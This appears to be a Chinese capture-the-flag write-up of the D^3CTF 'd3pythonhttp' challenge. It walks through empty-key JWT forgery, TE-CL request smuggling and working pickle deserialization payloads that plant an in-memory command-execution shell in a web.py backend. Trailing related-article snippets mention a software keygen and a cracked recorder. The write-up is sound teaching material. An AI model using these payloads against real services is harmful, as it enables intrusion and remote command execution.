【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私

目录

step0 题目信息 

step1 jwt空密钥伪造 

step1.5 有关TE&CL的lab

step2 TE-CL请求走私

payload1

payload2


step0 题目信息 

注意到题目源码前端是flask写的,后端是web.py写的

frontend

from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client

app = Flask(__name__)

login_form = """
<form method="post">
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <input type="submit" value="Login">
</form>
"""

@app.route('/', methods=['GET'])
def index():
    token = request.cookies.get('token')
    if token and verify_token(token):
        return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
    else: 
        return redirect("/login", code=302)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == "POST":
        user_info = {"username": request.form["username"], "isadmin": False}
        key = get_key("frontend_key")
        token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
        resp = make_response(redirect("/", code=302))
        resp.set_cookie("token", token)
        return resp
    else:
        return render_template_string(login_form)

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
    forward_url = "python-backend:8080"
    conn = http.client.HTTPConnection(forward_url)
    method = request.method
    headers = {key: value for (key, value) in request.headers if key != "Host"}
    data = request.data
    path = "/"
    if request.query_string:
        path += "?" + request.query_string.decode()
    conn.request(method, path, body=data, headers=headers)
    response = conn.getresponse()
    return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    token = request.cookies.get('token')
    if token and verify_token(token):
        if request.method == 'POST':
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                forward_url = "python-backend:8080"
                conn = http.client.HTTPConnection(forward_url)
                method = request.method
                headers = {key: value for (key, value) in request.headers if key != 'Host'}
                data = request.data
                path = "/"
                if request.query_string:
                    path += "?" + request.query_string.decode()
                if headers.get("Transfer-Encoding", "").lower() == "chunked":
                    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
                if "BackdoorPasswordOnlyForAdmin" not in data:
                    return "You are not an admin!"
                conn.request(method, "/backdoor", body=data, headers=headers)
                return "Done!"
            else:
                return "You are not an admin!"
        else:
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                return "Welcome admin!"
            else:
                return "You are not an admin!"
    else: 
        return redirect("/login", code=302)

def get_key(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
    except:
        pass
    print(key)
    return key

def verify_token(token):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]
    key = get_key(kid)
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        return True
    except:
        return False

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

backend

import web
import pickle
import base64

urls = (
    '/', 'index',
    '/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())


class index:
    def GET(self):
        return "welcome to the backend!"

class backdoor:
    def POST(self):
        data = web.data()
        # fix this backdoor
        if b"BackdoorPasswordOnlyForAdmin" in data:
            return "You are an admin!"
        else:
            data  = base64.b64decode(data)
            pickle.loads(data)
            return "Done!"


if __name__ == "__main__":
    app.run()

step1 jwt空密钥伪造 

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密

且后续也不会去验证签名的合法性 

 

指定一个加密的空密钥,再把取解密密钥的路径置空 

 

带着token去访问./admin,发现成功伪造

 拿到admin之后我们就可以去请求后端 /backdoor 接口

要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾

 

 

step1.5 有关TE&CL的lab

我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的

from flask import Flask, request

app = Flask(__name__)

@app.route('/admin', methods=['GET', 'POST'])
def admin():
        if request.method == 'POST':
                data1 = request.data
                print("这是前端接收到的数据")
                print(data1)
                data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())
                print("这是前端向后端发的数据")
                print(data2)

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉

(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)

 

本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接 

向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理

至于后端接收的原始数据(暂时忽略Content-Length),显然就是

gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin

不作赘述

step2 TE-CL请求走私

于是就来到了本题的重头戏:浅谈HTTP请求走私

 考虑前后端对HTTP报文的解析差异

 后端web.py的web.data()对传入data有这样一段处理

就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked

前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。

走过判断后,又对data手动进行了一个分块传输的格式处理

 

 

伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)

payload1

import pickle
import base64


class A(object):
    def __reduce__(self):
        return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))


a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

Content-Length就是base64编码的长度

打入后直接访问/backend路由即可命令执行 

payload2

用pker生成opcode再转base64

GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode

 exp.py

getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
return

python3 pker.py < exp.py | base64 -w 0

改一下Content-Length 

访问./backend?cmd=cat /Secr3T_Flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/588560.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C#核心之面向对象-封装

面向对象-封装 文章目录 1、类和对象1、什么是类2、类的声明3、类声明语法4、类声明实例5、对象(类)6、实例化对象语法7、实例化对象 2、成员变量和访问修饰符1、成员变量2、访问修饰符3、成员变量的使用和初始值 3、成员方法1、成员方法声明2、成员方法的使用 4、构造函数和…

【工具类安装教程】IDEA Ui设计器JFormDesigner

1、下载插件 File->Settings->Plugins->JFormDesigner 2、注册教程 2.1注册机下载 链接&#xff1a;https://pan.baidu.com/s/1Rb1EMva5HIYbyBcYgCxIsw 提取码&#xff1a;6666 2.2找到目录 1、找到idea目录 2.3进入plugins目录 找到在JFormDesigner文件夹下lib文…

使用Gitbook生成电子书

背景 《Google工程实践文档》相对原文Google’s Engineering Practices documentation &#xff0c;部分内容过时了。需要更新中文版&#xff0c;并使用Gitbook把Markdown文件转换成对应的PDF电子书。   上一次生成PDF电子书是5年前&#xff0c;当时生成电子书的环境早已不在…

jenkins汉化不完全问题解决

jenkins安装完Localization:Chinese(Simplified)中文语言包后&#xff0c;发现是出现汉化不完全或者部分汉化的情况&#xff0c;如下图&#xff1a; 解决方法&#xff1a; 启动命令中指定语言 -Duser.languageen_US.UTF-8 或者 -Duser.languageC.UTF-8原因分析&#xff1a;安…

用户中心(下)

文章目录 计划登录逻辑接口简单说明cookie和session写代码流程后端逻辑层控制层测试用户管理接口 前端简化代码对接后端代理 计划 开发完成后端登录功能 &#xff08;单机登录 > 后续改造为分布式 / 第三方登录&#xff09;✔开发后端用户的管理接口 &#xff08;用户的查询…

南方Southmap4.0 一体成图软件

SouthMap 4.0 新增行业应用模块&#xff0c;实用工具箱扩展7大工具&#xff0c;集结8大模块&#xff0c;共45种实用功能&#xff0c;为水利、电力、道路施工等多应用场景提供数据生产的一站式解决方案。 SouthMap 4.0 新增行业应用模块&#xff0c;实用工具箱扩展7大工具&#…

前端素材库

大家好我是苏麟 , 今天推荐一个前端素材库 . 官网 : iconfont-阿里巴巴矢量图标库 这期就到这里 , 下期见!

【docker】docker compose 搭建私服

安装 Docker Registry 创建目录 mkdir -pv /usr/local/docker/registrymkdir -pv /usr/local/docker/data 创建 docker-compose.yml文件 进入目录创建docker-compose.yml cd /usr/local/docker/registrytouch docker-compose.yml 编辑docker-compose.yml vim docker-compo…

探索洗牌算法的魅力与杨辉三角的奥秘:顺序表的实际运用

目录 目录 前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; 洗牌算法 准备工作 买一副牌 洗牌 发牌 测试整体 &#x1f3af;&#x1f3af;很重要的一点 杨辉三角 总结 前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; Hello, Hello~ …

YOLOv9/YOLOv8算法改进【NO.128】 使用ICCV2023超轻量级且高效的动态上采样器( DySample)改进yolov8中的上采样

前 言 YOLO算法改进系列出到这&#xff0c;很多朋友问改进如何选择是最佳的&#xff0c;下面我就根据个人多年的写作发文章以及指导发文章的经验来看&#xff0c;按照优先顺序进行排序讲解YOLO算法改进方法的顺序选择。具体有需求的同学可以私信我沟通&#xff1a; 首推…

PaLmTac嵌入软体手手掌的视触觉传感器

触觉是感知和操作之间的桥梁。触觉信息对于手部行为反馈和规划具有重要意义。软体手的柔性特性在人机交互、生物医学设备和假肢等方面具有潜在应用的优势。本文提出了一种名为 PaLmTac的嵌入软体手手掌的视触觉传感器&#xff08;vision-based tactile sensor, VBTS&#xff09…

使用 BurpSuite 基于 Token 机制实施暴力破解

前言 Token是一种用于身份验证和授权的令牌&#xff0c;通常由服务器生成并发送给客户端&#xff0c;客户端在后续的请求中携带该令牌来进行身份验证和授权操作。Token的使用可以增强应用程序的安全性&#xff0c;避免了直接传递敏感凭证&#xff08;如用户名和密码&#xff0…

Gradle 进阶学习之 Gradle插件

1、使用插件的原因 使用插件是现代自动化构建工具中一个非常重要的概念&#xff0c;Gradle 作为其中一个流行工具&#xff0c;通过插件提供了多种便利。以下是使用插件的几个主要原因&#xff1a; 促进代码重用 减少重复代码&#xff1a;插件允许你重用在不同项目中执行相同功…

Linux中gcc/g++的使用

文章目录 前言gcc/g 前言 gcc和g即为编译器。其中gcc为c语言的编译器&#xff0c;只能编译c语言&#xff1b;g为c的编译器&#xff0c;既能编译c语言&#xff0c;又能编译c。 在前面的文章中&#xff0c;我们提到代码转换成可执行程序需要经过 预处理&#xff08;进行宏替换)…

ID决策树的构造原理

前言 &#x1f3f7;️&#x1f3f7;️本章开始学习有关决策树的相关知识&#xff0c;决策树是一种树形模型&#xff0c;也是一种常用的分类和回归方法。本章我们首先介绍第一种决策树的构造原理 学习目标 了解决策树算法的基本思想掌握 ID3 决策树的构建原理 1.决策树介绍 …

Spring Cloud Kubernetes 实践 服务注册发现、服务动态配置

一、Spring Cloud Kubernetes 随着云计算和微服务架构的不断发展&#xff0c;k8s 和Spring Cloud成为了当今技术领域的两大热门话题。k8s作为一个开源的容器编排平台&#xff0c;已经在自动化部署、扩展和管理方面取得了巨大的成功&#xff0c;而Spring Cloud则以其丰富的生态…

区间预测 | PSO-RF-KDE的粒子群优化随机森林结合核密度估计多变量回归区间预测(Matlab)

区间预测 | PSO-RF-KDE的粒子群优化随机森林结合核密度估计多变量回归区间预测&#xff08;Matlab&#xff09; 目录 区间预测 | PSO-RF-KDE的粒子群优化随机森林结合核密度估计多变量回归区间预测&#xff08;Matlab&#xff09;效果一览基本介绍程序设计参考资料 效果一览 基…

傲软录屏(ApowerREC)一款简单好用的录屏软件,中文破姐版 v1.6.9.6(240501)

软件介绍 傲软录屏&#xff0c;是由ApowerREC开发的一款高级录屏软件&#xff0c;兼容多个操作系统平台&#xff0c;包括Windows、Mac以及基于安卓和iOS的设备。这款专业工具具备捕捉各类屏幕活动的能力&#xff0c;确保音视频同步&#xff0c;无论用户是进行电脑桌面操作、参…

C++string类使用大全

目录 温馨提示&#xff1a;这篇文章有约两万字 什么是string类&#xff1f; 一. 定义和初始化string对象 1.string的构造函数的形式&#xff1a; 2.拷贝赋值运算符 3.assign函数 二.string对象上的操作 1.读写string对象 2.读取未知数量的string对象 3.使用getline …

软件工程毕业设计选题100例

文章目录 0 简介1 如何选题2 最新软件工程毕设选题3 最后 0 简介 学长搜集分享最新的软件工程业专业毕设选题&#xff0c;难度适中&#xff0c;适合作为毕业设计&#xff0c;大家参考。 学长整理的题目标准&#xff1a; 相对容易工作量达标题目新颖 1 如何选题 最近非常多的…
最新文章